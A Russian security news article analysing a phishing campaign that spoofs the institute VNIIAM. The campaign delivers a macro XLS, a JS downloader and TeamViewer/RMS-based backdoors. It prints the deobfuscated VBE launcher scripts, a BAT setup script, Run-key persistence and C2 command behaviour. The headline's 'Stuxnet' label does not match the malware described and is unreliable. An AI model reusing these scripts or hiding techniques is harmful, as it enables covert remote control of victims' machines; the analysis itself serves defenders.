Новый вариант Stuxnet использовался для целевой атаки на российскую компанию

image

Теги: Stuxnet, фишинг, Россия

Злоумышленники рассылают вредоносные письма от имени АО "ВНИИАМ".

Портал SecurityLab получил от осведомленного источника эксклюзивную информацию об атаках с использованием новой разновидности трояна Stuxnet - BackDoor.RMS.48. Вредонос распространяется с помощью фишинговых писем. По данным источника, одно из писем выглядит следующим образом:

gra1.png

В качестве отправителя значится некое акционерное общество "ВНииАтом". Указанный в письме адрес в Москве практически соответствует адресу реально существующему Всероссийскому научно-исследовательскому и проектно-конструкторскому институту атомного и энергетического машиностроения (АО "ВНИИАМ"). Не соответствуют лишь номер дома и телефонный номер.

АО "ВНИИАМ" принадлежат два домена: внииам.рф и vdvniiam.ru. Использованный в письме домен был зарегистрирован 11 июля 2015 года. В настоящее время сайт vniiatom.ru недоступен, однако, по словам источника, еще несколько дней назад он существовал и выглядел точно так же, как оригинальный внииам.рф.

Ссылка в фишинговом письме ведет на файл Izveshhenie_7889-08-15.xls. После включения макросов в папку temp сохраняется js файл (JS.DownLoader.432), который пытается скачать файл canterus.esy.es/kartinka.bmp, представляющий собой архив с следующим содержимым:

avicap32.dll
install.exe
SkypeUpdateSvc.exe
TeamViewer_Desktop.exe
TeamViewer_Resource_en.dll
tv_w32.dll
tv_w32.exe
tv_x64.dll
tv_x64.exe
tvr.cfg
vpn.exe

Все, кроме файлов avicap32.dll, install.exe tvr.cfg и vpn.exe, подписано валидной подписью TeamViewer. По данным источника, avicap32.dll – это BackDoor.TeamViewer.43, tvr.cfg, vpn.exe - что-то из его обвязки, а install.exe - RAR-SFX архив следующего содержания:

apiwinmscore86.vbe
core.exe
windows.zip

Как сообщил источник, windows.zip – это ZIP-архив с паролем, который содержит модули BackDoor.RMS.48 и различные файлы для его установки/запуска/настройки, apiwinmscore86.vbe – закодированный VBS скрипт, который распаковывает архив и запускает бэкдор, а core.exe - 7-zip (standalone).

После снятия двух слоев обфускации apiwinmscore86.vbe выглядит так:

Set oShell = CreateObject("WScript.Shell")

dim sdhguisgi634363osdgfsafa
dim asfafsafasfasfaf
set asfafsafasfa=CreateObject("Scripting.FileSystemObject")
Set environmentVarstxt = WScript.CreateObject("WScript.Shell").Environment("Process")
tempFolder = environmentVarstxt("TEMP")
dim dsu54353hguisgisfasaf
dim dig3us54353hugijsfasfa
dim sdiu6436hsugsiasfaf
dim sdgu4636isughisgasfaf
dim sduigsgsa4636sfafaf
oShell.run "core.exe -y x windows.zip -pfisdghiusdjujndfmioghmkiopwertfqwef4235 -o%temp%", 0
WScript.Sleep (3000)
oShell.run "%temp%\update.exe", 0
Set oShell = Nothing
dim fasfafa346363sfasfsafsaf

Как сообщает источник, update.exe представляет собой RAR-SFX архив, который содержит файлы от RMS 6.3.0.5, REG-файл с настройками и другие файлы бэкдора.

Logs [dir]
system [dir]
system\core.sys
system\kernel128.vbe
system\set.bat
system\set.vbs
system\system.exe
system\system.vbe
system\winapi.exe
Russian.lg
rutserv.exe
sys32.sys
sys64.sys
vp8encoder.dll

При этом vp8encoder.dll - оригинальная dll от RMS с валидной подписью, rutserv.exe - исправленная версия RMS 6.3.0.5, sys32.sys, sys64.sys - REG-файл с настройками RMS, содержимое папки system - непосредственно компоненты бэкдора, а system\core.sys - пустой.

После декодирования kernel128.vbe имеет вид:

Set oShell = CreateObject("WScript.Shell")
oShell.run "C:\\kernel\system\system.exe", 0

И system.vbe:

Set oShell = CreateObject("WScript.Shell")
oShell.run "C:\\kernel\system\winapi.exe", 0
oShell.run "C:\\kernel\rutserv.exe", 0

Тем не менее, какие-либо иконки RMS отсутствуют. По запросу RMS 6.3.0.5 Google выдает ссылки преимущественно на билдер RMS, после которого RMS будет работать абсолютно скрытно.

Файл winapi.exe перебирает 30 процессов через Process32First/Process32Next в поисках "rutserv.exe" с целью выставить ему дескриптор безопасности SE_KERNEL_OBJECT, а также ищет окно "RMS Agent" и скрывает его.

C:\Users\ShadowFiend\Desktop\CODE\C++\WinAPI - LIBS\Release\WINAPI_LIBS.pdb

Задачей system.exe этого является сокрытие файлов бэкдора и установка его в автозагрузку.
Файлы бэкдора размещаются в каталоге "C:\kernel", которому вредонос выставляет системный и скрытый атрибуты, после чего копирует свои файлы:

kernel128.vbe Expand
source
system.vbe Expand
source
cmd.exe /c "copy C:\\kernel\\system\\core.sys C:\\kernel\\kernelda.sys"
cmd.exe /c "rename C:\\kernel\\kernelda.sys core.sys"

Далее бэкдор регистрирует VBE скрипт в автозагрузку через реестр:

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 'KernelSystem' =
'C:\\kernel\\system\\system.vbe'

И запускает VBS скрипт, который через батник подготовит RMS к использованию:

cmd.exe /c start C:\\kernel\\system\\set.vbs
VBS:
Set oShell = WScript.CreateObject ("WSCript.shell")
dim twettwerter
dim adsdfgsgsgds
dim ysdggsgdsgsgdsg
oShell.run "C:\\kernel\\system\\set.bat", 0
dim jdsgsgsgsgs
dim iuasggdsgdsgsd

Set oShell = Nothing
dim assdgsgsgdsg
dim asfasfaf
BAT (Trojan.Starter.5023):
taskkill /f /im rfusclient.exe
taskkill /f /im rutserv.exe
taskkill /f /im rfusclient.exe
reg delete \"HKEY_CURRENT_USER\\Software\\TektonIT\" /f
reg import C:\\kernel\\111.reg
reg import C:\\kernel\\111.reg
start C:\\kernel\\system\\system.vbe
del C:\\kernel\\system\\system.exe
del C:\\kernel\\system\\msvcp110.dll
del C:\\kernel\\system\\msvcr110.dll
del C:\\kernel\\system\\zlib1.dll
del C:\\kernel\\sys64.sys
del C:\\kernel\\111.reg
del C:\\kernel\\sys32.sys

Собственно элементами BackDoor.TeamViewer.43 являются avicap32.dll, tvr.cfg и vpn.exe. Все остальные файлы – это составляющие TeamViewer, которые снабжены валидной подписью. Бэкдор собирает информацию о зараженном компьютере и отправляет ее на управляющий сервер. Вредонос может выполнять ряд команд, поступивших от C&C-сервера. Полученные в команде параметры бэкдор сохраняет в конфигурационном файле.

Если в конфигурационном файле установлен параметр "vpndel", бэкдор выполняет команду: "tv_w32.exe--action remove --id TEAMVIEWERVPN" (на x64 вызывается процесс tv_w64.exe), и удаляет себя из автозагрузки, если заданы параметры автозагрузки. runexe запускает файл и, если указаны аргументы, передает их в запускаемое приложение. deldll удаляет одну из своих dll, в аргументе указывается имя dll (<name>): backdoors_dir\\tvrp\\<name>.tvrp.
rundll скачивает с сервера DLL, который сохраняется в "backdoors_dir\\tvrp\\<name>.tvrp".

DLL зашифрована и сжата. Алгоритм шифрования такой же, как и у конфигурационного файла. Ключ для расшифровки - "kernel32.dll". Для распаковки вызывается функция RtlDecompressBuffer с флагом COMPRESSION_FORMAT_LZNT1. Далее распакованный образ DLL загружается в память бэкдора самодельным загрузчиком.
Telegram Подписывайтесь на канал "SecurityLab" в Telegram, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.